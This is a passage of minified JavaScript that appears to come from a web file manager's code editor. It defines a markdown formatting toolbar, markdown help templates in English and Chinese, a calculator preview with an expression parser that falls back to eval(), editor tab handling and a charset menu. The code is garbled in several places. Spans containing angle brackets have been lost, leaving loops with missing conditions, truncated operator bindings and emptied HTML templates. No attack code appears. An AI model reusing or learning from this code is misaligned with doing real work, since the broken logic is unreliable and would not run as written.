        ");d.find(".cell").each(function(){var b=$(this).text(),c=b.toLowerCase().indexOf(a.toLowerCase());-1!=c?(b=b.substr(0,c)+""+b.substr(c,a.length)+""+b.substr(c+a.length),$(this).html(b)):$(this).parent().remove()}),i.html(d.html()),l($(i.find(".list-row").get(0)))},l=function(a){if(1==a.length){i.find(".list-row").removeClass("row-select"),a.addClass("row-select");var b=a.attr("data-range"),c=b.split(","),d={start:{row:parseInt(c[0]),column:parseInt(c[1])},end:{row:parseInt(c[2]),column:parseInt(c[3])}};Editor.current()&&(Editor.current().revealRange(d),h.textFocus())}},m=function(){var a=i;if(a.outerHeight()!=a.prop("scrollHeight")){var b=a.scrollTop(),c=b+a.height(),d=a.find(".row-select").index(),e=a.find(".list-row:eq(0)").outerHeight(),f=a.scrollTop();b>d*e?f=d*e:(d+1)*e>c&&(f=d*e-a.height()+e),a.scrollTop(f)}},n=function(){var a="mouse_is_down";i.delegate(".list-row","mouseover mousedown mouseout mouseup",function(b){var c=$(this);switch(b.type){case"mouseover":c.parent().hasClass(a)?l(c):c.addClass("row-hover");break;case"mousedown":l(c),c.parent().addClass(a);break;case"mouseout":c.removeClass("row-hover");break;case"mouseup":c.parent().removeClass(a)}}),i.bind("mouseup",function(){h.textFocus()}),i.bind("mousedown",function(b){return 1!=b.which?!0:(i.setCapture&&i.setCapture(),void $(document).one("mouseup",function(b){i.removeClass(a),i.releaseCapture&&i.releaseCapture()}))});var b=function(){var a=h.val();k(a),""==a?e.find(".search-reset").addClass("hidden"):e.find(".search-reset").removeClass("hidden")};h.unbind("keydown").bind("keydown",function(a){switch(a.keyCode){case 37:break;case 39:break;case 38:0!=e.find(".row-select").prev().length&&(l(e.find(".row-select").prev()),m()),stopPP(a);break;case 40:0!=e.find(".row-select").next().length&&(l(e.find(".row-select").next()),m()),stopPP(a);break;case 27:case 13:l(e.find(".row-select")),h.val(""),b(),Editor.focus(),stopPP(a);break;default:setTimeout(b,5)}}),e.find(".search-reset").unbind("click").bind("click",function(){h.val(""),b(),Editor.focus()})};return n(),{refresh:j,support:function(a){return-1==$.inArray(a,objectKeys(d))?!1:!0}}}});;define("app/src/edit/markdownTools",[],function(a,b){var c=function(){return Editor.current()},d={bold:{type:"inline",tag:"**",insert:"**${1:Bold Text}**",title:"Bold (Ctrl-B)","class":"bold"},italic:{type:"inline",tag:"*",insert:"*${1:Italic Text}*",title:"Italic (Ctrl-I)","class":"italic"},strikethrough:{type:"inline",tag:"~~",insert:"~~${1:Strikethrough Text}~~",title:"Strikethrough","class":"strikethrough"},h1:{type:"head",insert:"# ",title:"Header 1

        ","class":"text-height"},h2:{type:"head",insert:"## ",title:"Header 2

        "},h3:{type:"head",insert:"### ",title:"Header 3

        "},h4:{type:"head",insert:"#### ",title:"Header 4

        "},h5:{type:"head",insert:"###### ",title:"Header 5

        "},quote:{type:"head",insert:"> ",title:"Quote
        (Ctrl-Q)","class":"quote-left"},list_order:{type:"head",insert:" 1. ",title:"Unordered list
          (Ctrl-O)","class":"list-ol"},list_unorder:{type:"head",insert:" - ",title:"Ordered list
        ","class":"table"},code:{type:"inlineBlock",title:"Code
         (Ctrl-K)","class":"code",inline:{tag:"`",insert:"`${1:Code}`"},block:{tag:"\n```\n",insert:"\n```\n${1:code}\n```\n"}},math:{type:"inlineBlock",title:"Math (Ctrl-M)","class":"superscript",inline:{tag:"$$",insert:"$$${1:Math}$$"},block:{tag:"\n```\n",insert:"\n```math\n${1:}\n```\n"}},flowchart:{type:"insert",title:"flowchart diagram","class":"long-arrow-right",insert:"\n```mermaid\ngraph LR\nA-->B\n```\n"},sequence:{type:"insert",title:"Sequence diagram","class":"exchange",insert:"\n```mermaid\nsequenceDiagram\nA->>B: How are you?\nB->>A: Great!\n```\n"},gantt:{type:"insert",title:"Gantt diagram","class":"tasks",insert:"\n```mermaid\ngantt\ndateFormat YYYY-MM-DD\nsection S1\nT1: 2014-01-01, 9d\nsection S2\nT2: 2014-01-11, 9d\nsection S3\nT3: 2014-01-02, 9d\n```\n"},classDiagram:{type:"insert",title:"classDiagram diagram","class":"sitemap",insert:"\n```mermaid\nclassDiagram\nBaseClass <|-- AveryLongClass : Cool\nBaseClass : size()\nBaseClass : int chimp\nBaseClass : int gorilla\n```\n"},gitGraph:{type:"insert",title:"gitGraph diagram","class":"sitemap",insert:"\n```mermaid\nclassDiagram\nBaseClass <|-- AveryLongClass : Cool\nBaseClass : size()\nBaseClass : int chimp\nBaseClass : int gorilla\n```\n"}},e=function(a,b,c){var d=a.getSelection().rangeList.ranges;0==d.length&&(d=[a.getSelectionRange()]);for(var e=0;ek;k++){var l={start:{row:f.start.row+k,column:0},end:{row:f.start.row+k,column:j.length}};g.push(l),a.session.getTextRange(l)==j&&i++}for(var k=0;h>k;k++){var m=g[k];h==i?a.session.doc.remove(m):a.session.doc.insert({row:m.start.row,column:0},j)}}},g=function(a,b,c){var d=a.getSelection().rangeList.ranges;0==d.length&&(d=[a.getSelectionRange()]);for(var e=0;e|";else{var e=d[c],f="class='md-tools md-tools-"+c+" "+(e["class"]?"icon-"+e["class"]:"")+"' ";b+=""}}),b},j=function(a){var b={type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"};core.api.pathSelect(b,function(b){core.fileLink(b,function(c){var d=core.pathThis(b),e="!["+d+"]("+c+")";ace.snippetManager.insertSnippet(a,e)})})},k=function(a){var b=d[a],i=c();if(b&&i){switch(b.type){case"inline":e(i,b,a);break;case"head":f(i,b,a);break;case"insert":g(i,b,a);break;case"inlineBlock":h(i,b,a);break;case"image":j(i)}c().focus()}},l=function(a){a.find(".md-tools[data-action]").bind("click",function(){var a=$(this).attr("data-action");k(a)})},m=function(a){$.each(d,function(b){var c=d[b];if(c.title&&c.title.match(/\((.*)\)/)){var e=c.title.match(/\((.*)\)/)[1],f=e.replace("Ctrl","Command");a.commands.addCommand({name:b,bindKey:{win:e,mac:f},exec:function(a){"ace/mode/markdown"==a.session.$modeId&&k(b)}})}})};return{bindEvent:function(a,b){a.find(".toolbar .content").html(i()),l(a),"ace/mode/markdown"==b.session.$modeId&&m(b)},doAction:k}});;define("app/src/edit/tpl/markdownHelpCN.html",[],'
        \n
        1.标题与文字格式
        \n

        标题

        \n
        \n# 一级标题\n## 二级标题\n### 三级标题\n#### 四级标题\n##### 五级标题\n
        \n

        文字格式

        \n
        \n*斜体*\n**粗体**\n***粗斜体*** \n~~删除线~~\n
        \n

        水平线

        \n
        \n--- \n
        \n了解更多\n
        \n\n
        \n
        2.列表
        \n

        无序列表

        \n
        \n- item 1\n- item 2\n* item 3\n(可以是[减号,星号,加号]+空格)\n
        \n

        有序列表

        \n
        \n1. item 1 [数字+空格]\n2. item 2\n3. item 3\n   - child 1\n   - child 2\n
        \n
        \n\n
        \n
        3.其他
        \n

        图片

        \n
        \n![图片名称](http://图片网址)\n
        \n\n

        连接

        \n
        \n[链接名称](http://链接网址)\n<http://链接网址>\n
        \n\n

        引用

        \n
        \n> 引用\n> 折行可以不加,新起一行要加\n
        \n\n

        代码

        \n
        \n行内代码:`code`\n```\nvar msg = "多行代码";\nalert(msg);\n```\n
        \n\n

        公式

        \n
        \n行内公式 $$E=mc^2$$ ;\n\n多行公式\n$$E=mc^2$$\n\n多行公式2\n```math\nE=mc^2\n```\n
        \n编辑器 | \n公式教程
        \n流程图 | 时序图 | 甘特图 | 类图
        \n
        \n');;define("app/src/edit/tpl/markdownHelp.html",[],'
        \n
        1.Headers and Emphasis
        \n

        Headers

        \n
        \n# Header 1\n## Header 2\n### Header 3\n#### Header 4\n##### Header 5\n
        \n

        Emphasis

        \n
        \n*Emphasis*\n**Strong**\n***Emphasis Strong*** \n~~Strikethrough~~\n
        \n

        Line

        \n
        \n--- \n
        \nLearn More\n
        \n\n
        \n
        2.Lists
        \n

        Unordered list

        \n
        \n- item 1\n- item 2\n* item 3\n(also[- ,* ,+ )\n
        \n

        Ordered list

        \n
        \n1. item 1\n2. item 2\n3. item 3\n   - child 1\n   - child 2\n
        \n
        \n\n
        \n
        3.Others
        \n

        Image

        \n
        \n![Alt text](http://img.png)\n
        \n\n

        Links

        \n
        \n[Link text](http://url)\n<http://url>\n
        \n\n

        Blockquotes

        \n
        \n> Are you \n> ok ?\n
        \n\n

        Code

        \n
        \ninline code:`code`\n```\nvar msg = "Block code";\nalert(msg);\n```\n
        \n\n

        LaTeX Math

        \n
        \ninline $$E=mc^2$$ ;\n\nblock\n$$E=mc^2$$\n\nblock2\n```math\nE=mc^2\n```\n
        \nMath Editor \nFlowcharts \n
        \n');;define("app/src/edit/calcPreview",["./calc"],function(a,b){var c=a("./calc");Hook.once("rightMenu.show",function(){$.contextMenu.menuAdd({calc:{name:LNG.editor_calc,className:"calc",icon:"icon-tablet",callback:function(){h()}}},".menu-view-setting","open-browser")});var d="[MATH]\n加入如上标记;编辑器自动会进入计算模式\n\n## 表达式计算:\n--------\n34+56-10*(234-24)/2\n2^10+2^0.5+(7-4)!-2(6-3)\npi+e-3\nmin(-1,0)+((sqrt(16)+(-4+7)!-4)/2)\nsin(pi/6)-1 + cos(30 deg)^2\n一年有多少秒=60*60*24*365;// 支持注释,双斜杠之后内容为注释内容,不解析。\n\n\n## 使用变量:\n--------\nwidth = 1920\nheight = 1080\ninches = 5\ndpi = sqrt(width^2 + height^2)/inches\n--------\n每天施工成本=45+35\n施工天数=35\n费用支出=每天施工成本*施工天数\n\n\n## js代码\nmd5('demo')\ndate()\n",e=function(a){var b=a.getValue();c.getAnswer(b,function(b){$(a.container).find(".cal-preview-result").html(b)})},f=function(a){var b=$(a.container).find(".cal-preview");if(0!=b.length){var c=a.session.getScrollTop();b.css({top:-c}),b.find(".cal-toolbar").css("top",10+c)}},g=!1,h=function(a){var b=Editor.current(),c=$(b.container);if(b)if(void 0==a&&(a=0==c.find(".cal-preview").length),a){if(c.find(".cal-preview").length>0)return;var d="
        ";$(d).appendTo(c),c.addClass("cal-page"),e(b),j(c.find(".cal-preview")),b.session.on("changeScrollTop",function(){f(b)}),g=!1}else c.find(".cal-preview").remove(),c.removeClass("cal-page"),g=!0},i=function(a){return 0==$(a.container).find(".cal-preview").length?void(g||-1==a.getValue().indexOf("[MATH]")||h(!0)):void e(a)};Hook.bind("editor.setChanged",i),Hook.bind("editor.initAdd.ready",i);var j=function(a){a.on("click",stopPP),a.find(".cal-toolbar .remove").bind("click",function(){h(!1)}),a.find(".cal-toolbar .help").bind("click",function(){Editor.current().insert(d)});var b=a.find(".cal-resize"),c=0;b.drag({start:function(){c=a.width(),b.addClass("resize-active"),a.addClass("can-not-select")},move:function(b,d){var e=c-b,f=a.parent().width()-100;e=e>=f?f:100>=e?100:e,a.width(e)},end:function(c,d){b.removeClass("resize-active"),a.removeClass("can-not-select")}})};$.addStyle(" .cal-preview{position: absolute;right:16px;bottom: 0px;top: 0px; width:40%;background:rgba(255, 230, 156, 0.3);border-left:1px solid rgba(255, 193, 7, 0.2); z-index:2;padding-left: 10px;overflow: hidden;overflow-x: auto;white-space: nowrap;} .cal-preview li{list-style:none;} .cal-resize{width:10px;position:absolute;top:0px;left:0px;bottom:0px;cursor:col-resize;} .cal-resize:hover{background:rgba(100,100,100,0.1);} .cal-resize.resize-active{background:rgba(100,100,100,0.3);} .cal-preview .changed{color:#f90;font-weight:600;} .cal-toolbar{position: absolute;right: 10px;top: 10px;} .cal-toolbar a { color: rgba(100,100,100,0.3); font-size: 18px; border: 1px solid rgba(100,100,100,0.3); display: inline-block; width: 26px; padding: 0; height: 25px; text-align: center; text-decoration: none; margin: 0; margin-left: -10px; } .cal-toolbar a:hover { background: rgba(50,50,50,0.1); color: rgba(50,50,50,0.5); } .cal-page .ace_content .ace_line_group:nth-child(odd) {background-color:rgba(255, 200, 45, 0.1);} ")});;define("app/src/edit/calc",[],function(require,exports){function symbol(a,b){b=void 0!=b?b:0;var c=function(){};return c.prototype.id=a,c.prototype.lbp=b,c.prototype.nud=function(){throw new Error("Syntax error near %1.".replace("%1",this.id))},c.prototype.led=function(){throw new Error("Unknown operator %1.".replace("%1",this.id))},c.prototype.val=function(){throw new Error("Unknown operation with %1.".replace("%1",this.id))},c.prototype._repr=function(){var a=this;if("(literal)"==a.id)return"(%1 %2)".replace("%1",a.id).replace("%2",a.value);var b=[a.id];return["first","second","third"].forEach(function(c){a[c]&&(a[c]._repr?b.push(a[c]._repr()):b.push(a[c].toString()))}),"("+b.join(" ")+")"},symbolTable[a]=c,c}function infix(a,b){var c=symbolTable[a];c&&(c.prototype.led=function(a){return this.first=a,this.second=expression(b),this})}function infix_r(a,b){var c=symbolTable[a];c&&(c.prototype.led=function(a){return this.first=a,this.second=expression(b-1),this})}function prefix(a,b){var c=symbolTable[a];c&&(c.prototype.nud=function(){return this.first=expression(b),this})}function bindEval(a,b){var c=symbolTable[a];c&&(c.prototype.val=b)}function expression(a){var b=token;token=next();for(var c=b.nud();a0;){e=!1;for(f in regexpTable)if(g=a.match(regexpTable[f].matchReg),g&&g[1]){e=!0,h=regexpTable[f].parse(g[1],b),"("==g[1]&&tokenList.length>0&&(")"==tokenList[tokenList.length-1].id||"(literal)"==tokenList[tokenList.length-1].id)&&tokenList.push(regexpTable.operator.parse("*")),h&&tokenList.push(h),regexpTable[f].appendExpress&&tokenList.push(regexpTable.integer.parse("0")),d+=g[1].length,a=a.slice(g[1].length);break}if(!e)throw new Error('Unknow syntax at "'+a+'"')}tokenList.push(new symbolTable["(end)"]),token=tokenList.shift()}for(var symbolTable={},mathFunctions={cot:function(a){return 1/Math.tan(a)},rand:function(){return Math.random()},sum:function(a,b,c){var d,e=0;for(0>c&&(c=0),c=c||1,d=a;b>=d;d+=c)e+=d;return e}},mathValue={E:Math.E,LN2:Math.LN2,LN10:Math.LN10,LOG2E:Math.LOG2E,LOG10E:Math.LOG10E,PI:Math.PI,SQRT1_2:Math.SQRT1_2},actions="abs|acos|acosh|asin|asinh|atan|atan2|atanh|cbrt|ceil|clz32|cos|cosh|exp|expm1|floor|fround|hypot|imul|log|log1p|log2|log10|max|min|pow|random|round|sign|sin|sinh|sqrt|tan|tanh".split("|"),i=0;i{2,3}|<<)/,parse:function(a){return new symbolTable[a]}},factorial:{matchReg:/^(!)/,appendExpress:!0,parse:function(a){return new symbolTable[a]}},deg:{matchReg:/^(deg)[\s\+\-\*\/\)]|$/,appendExpress:!0,parse:function(a){return new symbolTable[a]}},bracket:{matchReg:/^(\(|\))/,parse:function(a){return new symbolTable[a]}},hex:{matchReg:/^(0x[0-9a-f]+)/,parse:function(a){var b=new symbolTable["(literal)"];return b.value=parseInt(a),b}},bin:{matchReg:/^(0b[01]+)/,parse:function(a){}},"float":{matchReg:/^(\d*\.\d+(e\d+)*)/,parse:function(a){var b=new symbolTable["(literal)"];return b.value=parseFloat(a),b}},integer:{matchReg:/^(\d+)/,parse:function(a){var b=new symbolTable["(literal)"];return b.value=parseInt(a),b}},name:{matchReg:/^([a-zA-Z0-9_$\u4e00-\u9fa5]+)/,parse:function(a,b){var c;return"object"==typeof b&&"number"==typeof b[a]?(c=new symbolTable["(literal)"],c.value=b[a]):mathValue.hasOwnProperty(a.toUpperCase())?(c=new symbolTable["(literal)"],c.value=mathValue[a.toUpperCase()]):(c=new symbolTable["(name)"],c.value=a),c}}};symbol("(literal)").prototype.nud=function(){return this},symbol("(name)").prototype.nud=function(){return this},symbol("<<",100),symbol(">>",100),symbol(">>>",100),symbol("+",110),symbol("-",110),symbol("*",120),symbol("/",120),symbol("%",120),symbol("!",130),symbol("deg",130),symbol("^",130),symbol("(",150),symbol(")"),symbol(","),symbol("(end)"),symbolTable["("].prototype.nud=function(){var a=expression(0);return expect(")"),a},symbolTable["("].prototype.led=function(a){if(this.first=a,this.second=[],")"!=token.id)for(;;){if(this.second.push(expression(0)),","!=token.id)break;expect(",")}return expect(")"),this},infix("<<",100),infix(">>",100),infix(">>>",100),infix("+",110),infix("-",110),infix("*",120),infix("/",120),infix("%",120),infix("!",140),infix("deg",140),infix_r("^",140),prefix("+",130),prefix("-",130),bindEval("(literal)",function(){return this.value}),bindEval("+",function(){return void 0!=this.second?this.first.val()+this.second.val():this.first.val()}),bindEval("-",function(){return void 0!=this.second?this.first.val()-this.second.val():-this.first.val()});var binaryOperators={"+":function(a,b){return a+b},"-":function(a,b){return a-b},"/":function(a,b){return a/b},"*":function(a,b){return a*b}};bindEval("!",function(){var a=this.first.val();if("number"==typeof a&&a>0){for(var b=a-1;b>=1;b--)a*=b;return a}throw new Error("not integer: ".first)}),bindEval("deg",function(){return this.first.val()*Math.PI/180}),bindEval("*",function(){return this.first.val()*this.second.val()}),bindEval("/",function(){return this.first.val()/this.second.val()}),bindEval("%",function(){return this.first.val()%this.second.val()}),bindEval("^",function(){return Math.pow(this.first.val(),this.second.val())}),bindEval("<<",function(){return this.first.val()<>",function(){return this.first.val()>>this.second.val()}),bindEval(">>>",function(){return this.first.val()>>>this.second.val()}),bindEval("(",function(){var a=mathFunctions[this.first.value],b=[];if(!(a instanceof Function))throw new Error("Unknown function %1.".replace(this.first.value));for(var c=0,d=this.second.length;d>c;c++)b.push(this.second[c].val());return a.apply(null,b)});var asyncEach=function(a,b,c){_asyncEach(a.slice(),b,c)},_asyncEach=function(a,b,c){var d=a.splice(0,1);0===d.length?c():b(d[0],function(d){d?c(d):_asyncEach(a,b,c)})},previousAnswerLines=[],assignmentLineRegExp=/^\s*(\S*[a-zA-Z0-9_$\u4e00-\u9fa5]+\S*)\s*=(.*)$/,getAnswer=function(a,b){if("string"==typeof a){var c,d=a.split("\n"),e=[],f=-1,g={};asyncEach(d,function(a,b){f++,a[0]&&"#"===a[0]&&(a="");var d=a.indexOf("//");if(-1!=d&&(a=a.substr(0,d)),a=rtrim(trim(a),";"),a.length>0)try{var h=assignmentLineRegExp.exec(a);if(h){var i=exec(h[2],g);g[h[1].trim()]=i}var i=exec(a,g);"undefined"!=typeof i&&(e[f]=i,g.ans=i),c=f,b()}catch(j){e[f]=null,b()}else e[f]=null,b()},function(){var a=[];$.each(e,function(b,c){var d;d="number"==typeof c?1*c.toPrecision(12):"function"==typeof c?"[Function]":"string"==typeof c?c:void 0!=c&&null!=c?JSON.stringify(c):" ",previousAnswerLines&&previousAnswerLines[b]===e[b]||(d=''+d+""),a.push("
      • "+d+"
      • ")}),previousAnswerLines=e,b(a.join(""))})}},exec=function(expr,scrop){try{tokenize(expr,scrop);var root=expression(0);return root.val()}catch(err){try{return eval(expr)}catch(err){}}};return{getAnswer:getAnswer,exec:exec}});;;define("app/src/edit/tpl/editTabContent.html",[],'
        \n
        \n	\n	\n
        \n\n');;define("app/src/edit/taskTap",[],function(a,b){var c=function(){$(".edit-tab .tab").live("mouseenter",function(a){$(this).addClass("hover"),$(this).unbind("mousedown").mousedown(function(a){1!=a.which||$(this).hasClass("this")||$.nodeName(a.target,"A")||($(this).removeClass("hover").addClass("this"),Editor.select($(this).attr("uuid")))}).unbind("mouseup").mouseup(function(a){2==a.which&&Editor.remove($(this).attr("uuid"))})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")}).die("dblclick").live("dblclick",function(a){stopPP(a)}),$(".edit-tab").die("dblclick").live("dblclick",function(a){Editor.add(),stopPP(a)}),$(".edit-tab .tab .close").live("click",function(a){var b=$(this).parent().attr("uuid");Editor.remove(b)})},d=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},e=function(){$("body").click(d).contextmenu(d),$.contextMenu({zIndex:9999,selector:".edit-tab-menu",items:{refresh:{name:LNG.refresh+"F5",className:"refresh_tab",icon:"refresh",accesskey:"e"},sep1:"---------",close:{name:LNG.close,icon:"remove",className:"close_self",accesskey:"d"},"close-others":{name:LNG.close_others,icon:"remove",className:"close-others",accesskey:"o"},sep2:"--------","close-left":{name:LNG.close_left,icon:"remove-sign",className:"close-left",accesskey:"l"},"close-right":{name:LNG.close_right,icon:"remove-sign",className:"close-right",accesskey:"r"},sep3:"--------","open-browser":{name:LNG.open_ie,className:"open-browser",icon:"globe",accesskey:"b"},"open-the-path":{name:LNG.open_the_path,icon:"folder-open",className:"edit-open-the-path",accesskey:"n"},preview:{name:LNG.preview,icon:"eye-open",className:"edit_preview",accesskey:"p"}},callback:function(a,b){var c=b.$trigger,d=c.attr("uuid");switch(a){case"refresh":Editor.refresh(d);break;case"close":Editor.remove(d);break;case"close-left":var e=$(".edit-tab .tabs .tab").index(c);$(".edit-tab .tabs .tab:lt("+e+")").each(function(){Editor.remove($(this).attr("uuid"))});break;case"close-right":var e=$(".edit-tab .tabs .tab").index(c);$(".edit-tab .tabs .tab:gt("+e+")").each(function(){Editor.remove($(this).attr("uuid"))});break;case"close-others":$(".edit-tab .tabs .tab").each(function(){var a=$(this).attr("uuid");a!=d&&Editor.remove(a)});break;case"open-browser":var f=c.attr("title");if(""==f)return void Tips.tips(LNG.not_exists,"warning");var g=G.appHost+"editor/edit#filename="+urlEncode(f);"share"==G.ST&&(g=G.appHost+"share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(f)),window.open(g);break;case"open-the-path":var f=c.attr("title");if(""==f)return void Tips.tips(LNG.not_exists,"warning");var h=core.pathFather(f),i=ShareData.frameTop();i.core.openPath(h);break;case"preview":Toolbar.doAction("preview")}}})},f=function(){var a,b,c,d,e=!1,f=!1,g=0,h=0,i=0,j=0,k=0,l=0,m=0,n=0;$(".edit-tab .tab").die("mousedown").live("mousedown",function(b){$.nodeName(b.target,"A")||(a=$.nodeName(b.target,"SPAN")?$(b.target).parent():$(this),1==b.which&&(e=!0,this.setCapture&&this.setCapture(),$(document).mousemove(function(a){p(a)}),$(document).one("mouseup",function(a){r(a),this.releaseCapture&&this.releaseCapture()})))});var o=function(d){f=!0,g=d.pageX,i=d.pageY,$tab_parent=$(".edit-tab"),b=$(".edit-tab .tab"),$(".draggable-dragging").remove(),c=a.clone().addClass("draggable-dragging").prependTo("body"),l=$sizeInt(b.css("margin-right")),m=$tab_parent.width(),n=$tab_parent.get(0).getBoundingClientRect().left,n+=$(window).scrollLeft(),h=a.get(0).getBoundingClientRect().left,k=$sizeInt(b.css("width")),j=$sizeInt(b.css("height"))-2;var e=a.get(0).getBoundingClientRect().top-$sizeInt(a.css("margin-top")),o=d.clientX-g+h;$("body").prepend("
        "),c.css({width:k+"px",top:e,left:o}),a.css("opacity",0)},p=function(d){if(e){0==f&&o(d);var m=d.clientX-g+h,n=d.clientY-i+j;c.css({left:m,top:n}),b.each(function(b){var c=$(this).get(0).getBoundingClientRect().left;if(m>c&&c+k/2+l>m){if(a.attr("uuid")==$(this).attr("uuid"))return;q($(this).attr("uuid"),"left")}if(m>c-k/2+l&&c>m){if(a.attr("uuid")==$(this).attr("uuid"))return;q($(this).attr("uuid"),"right")}})}},q=function(c,e){if(!a.is(":animated")||d!=c){d=c,a.stop(!0,!0),$(".insertTemp").remove(),b=$(".edit-tab .tab");var f=a.width(),g=$(".edit-tab .tab-"+c),h=a.clone(!0).insertAfter(a).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==e?a.after(g).css("width","0px"):(a.before(g).css("width","0px"),g.before(h)),a.animate({width:f+"px"},animate_time),h.animate({width:"0px"},animate_time,function(){$(this).remove(),b=$(".edit-tab .tab")})}},r=function(b){if(e=!1,f=!1,startTime=0,$(".dragMaskView").remove(),Editor.focus(),void 0!=c){var d=a.get(0).getBoundingClientRect().left,g=a.get(0).getBoundingClientRect().top;c.animate({left:d+"px",top:g+"px"},animate_time,function(){a.css("opacity",1),$(this).remove()})}}},g=function(a,b,c){"remove"==a&&b.removeClass("edit-tab-menu");var d=1.5*animate_time,e=150,f=e,g=$(".edit-tab .tab.edit-tab-menu"),h=$sizeInt($(".edit-tab .tabs").width()),i=$sizeInt(g.css("margin-right"))+$sizeInt(g.css("border-right")),j=$sizeInt($(".edit-tab .add").css("width"))+30,k=g.length,l=Math.floor((h-j)/(e+i));switch(k>l&&(f=Math.floor((h-j)/k)-i),a){case"add":$(".edit-tab .tabs .this").css({"margin-top":"30px",width:f,opacity:0}).stop(1,1).animate({"margin-top":"0px",opacity:1},d),g.animate({width:f+"px"},d);break;case"remove":void 0!=c&&Editor.select(c),b.stop(1,1).animate({width:"0","margin-top":"+=30"},d,function(){b.remove()}),g.stop(1,1).animate({width:f+"px"},d);break;case"resize":g.css("width",f+"px")}};return{rightMenu:{hidden:d},resetWidth:g,init:function(){c(),f(),e()}}});;define("app/src/edit/toolbar",["./chinese"],function(a,b){var c=a("./chinese"),d=function(){f(),$(".toolbar-menu").bind("click mouseup",stopPP),$(".toolbar-menu").on("mousedown",function(b){$(".toolbar-menu").removeClass("select"),$(this).addClass("select"),$(this).contextMenu({action:a})}),window.top==window&&$('.tools [action="fullscreen"]').remove();var a=function(a,b){if(b.parent().hasClass("top-toolbar"))a.css({left:b.offset().left-4,top:b.outerHeight()-1});else if(b.parent().hasClass("bottom-toolbar")){var c=b.offset().left-a.outerWidth()+b.outerWidth()-5;a.css({left:c,top:b.offset().top-a.outerHeight()}),a.addClass("hidden"),setTimeout(function(){a.removeClass("hidden").css({top:b.offset().top-a.outerHeight()})},10)}a.find("input").length>=1&&setTimeout(function(){a.find("input").focus()},10)};$.contextMenu({selector:".menu-view-goto-line",trigger:"none",callback:i,items:{gotoline:{name:LNG["goto"],className:"disable gotoline-input",type:"text"}}}),$.contextMenu({selector:".menuViewTab",trigger:"none",callback:i,items:{"soft-tab":{name:"Soft Tabs (spaces)",className:"soft-tab"},sep1:"---------","tab-size-2":{name:"Tab with:2",className:"tab-size-set tab-size-2"},"tab-size-3":{name:"Tab with:3",className:"tab-size-set tab-size-3"},"tab-size-4":{name:"Tab with:4",className:"tab-size-set tab-size-4"},"tab-size-8":{name:"Tab with:8",className:"tab-size-set tab-size-8"},sep2:"---------","convert-to-space":{name:"Convert To Space",className:"convert-to-space"},"convert-to-tab":{name:"Convert To Tabs",className:"convert-to-tab"}}});var b=[{charset:"",name:LNG.charset_AUTO},{charset:"UTF-8",name:LNG.charset_UTF_8},{charset:"UTF-16",name:LNG.charset_UTF_16},{charset:"GB18030",name:LNG.charset_GB18030},{charset:"GBK",name:LNG.charset_GBK},{charset:"BIG5-HKSCS",name:LNG.charset_BIG5_HKSCS},{charset:"BIG5",name:LNG.charset_BIG5},{charset:"CP850",name:""},{charset:"CP932",name:""},{charset:"CP949",name:LNG.charset_CP949},{charset:"CP1133",name:LNG.charset_CP1133},{charset:"CP1250",name:LNG.charset_CP1250},{charset:"CP1251",name:LNG.charset_CP1251},{charset:"CP1252",name:LNG.charset_CP1252},{charset:"CP1253",name:LNG.charset_CP1253},{charset:"CP1254",name:LNG.charset_CP1254},{charset:"CP1255",name:LNG.charset_CP1255},{charset:"CP1256",name:LNG.charset_CP1256},{charset:"CP1257",name:LNG.charset_CP1257},{charset:"CP1258",name:LNG.charset_CP1258},{charset:"EUC-JP",name:LNG.charset_EUC_JP},{charset:"EUC-KR",name:LNG.charset_EUC_KR},{charset:"Georgian-Academy",name:LNG.charset_Georgian_Academy},{charset:"ISO-8859-1",name:LNG.charset_ISO_8859_1},{charset:"ISO-8859-2",name:LNG.charset_ISO_8859_2},{charset:"ISO-8859-3",name:LNG.charset_ISO_8859_3},{charset:"ISO-8859-4",name:LNG.charset_ISO_8859_4},{charset:"ISO-8859-5",name:LNG.charset_ISO_8859_5},{charset:"ISO-8859-6",name:LNG.charset_ISO_8859_6},{charset:"ISO-8859-7",name:LNG.charset_ISO_8859_7},{charset:"ISO-8859-8",name:LNG.charset_ISO_8859_8},{charset:"ISO-8859-9",name:"-"},{charset:"ISO-8859-10",name:LNG.charset_ISO_8859_10},{charset:"ISO-8859-11",name:LNG.charset_ISO_8859_11},{charset:"ISO-8859-13",name:LNG.charset_ISO_8859_13},{charset:"ISO-8859-14",name:LNG.charset_ISO_8859_14},{charset:"ISO-8859-15",name:LNG.charset_ISO_8859_15},{charset:"ISO-8859-16",name:LNG.charset_ISO_8859_16},{charset:"ISO-2022-JP",name:LNG.charset_ISO_2022_JP},{charset:"KOI8-R",name:LNG.charset_KOI8_R},{charset:"KOI8-T",name:LNG.charset_KOI8_T},{charset:"KOI8-U",name:LNG.charset_KOI8_U},{charset:"Macintosh",name:LNG.charset_Macintosh},{charset:"PT154",name:LNG.charset_PT154},{charset:"SHIFT_JIS",name:LNG.charset_SHIFT_JIS},{charset:"TIS-620",name:LNG.charset_TIS_620},{charset:"ARMSCII-8",name:LNG.charset_ARMSCII_8},{charset:"VISCII",name:LNG.charset_VISCII},{charset:"Windows-1251",name:""},{charset:"Windows-1252",name:""},{charset:"Windows-1254",name:""}],c=function(a){for(var c={},d=0;dCtrl+Shift+S",icon:"eye-open"},"open-browser":{name:LNG.open_ie,icon:"external-link",accesskey:"b"},sep11:"---------","insert-time":{name:LNG.editor_insert_time,icon:"time"},md5:{name:LNG.editor_md5,icon:"key"},qrcode:{name:LNG.editor_qrcode,icon:"qrcode"},regx:{name:LNG.editor_regx,icon:"puzzle-piece"},sep12:"---------","convert-case":{name:LNG.convert_case,icon:"font",items:{"convert-upper":{name:LNG.convert_upper_case+"Ctrl+U",icon:"chevron-sign-up"},"convert-lower":{name:LNG.convert_lower_case+"Ctrl+O",icon:"chevron-sign-down"}}},"convert-chinese":{name:LNG.editor_chinese,icon:"font",items:{"chinese-traditional":{name:LNG.editor_chinese_traditional,icon:"chevron-sign-up"},"chinese-simple":{name:LNG.editor_chinese_simple,icon:"chevron-sign-down"}}},sep13:"---------",base64:{name:LNG.editor_base64,icon:"wrench",items:{"base64-encode":{name:LNG.editor_base64_encode,icon:"lock"},"base64-decode":{name:LNG.editor_base64_decode,icon:"unlock"}}},URL:{name:LNG.editor_url,icon:"wrench",items:{"url-encode":{name:LN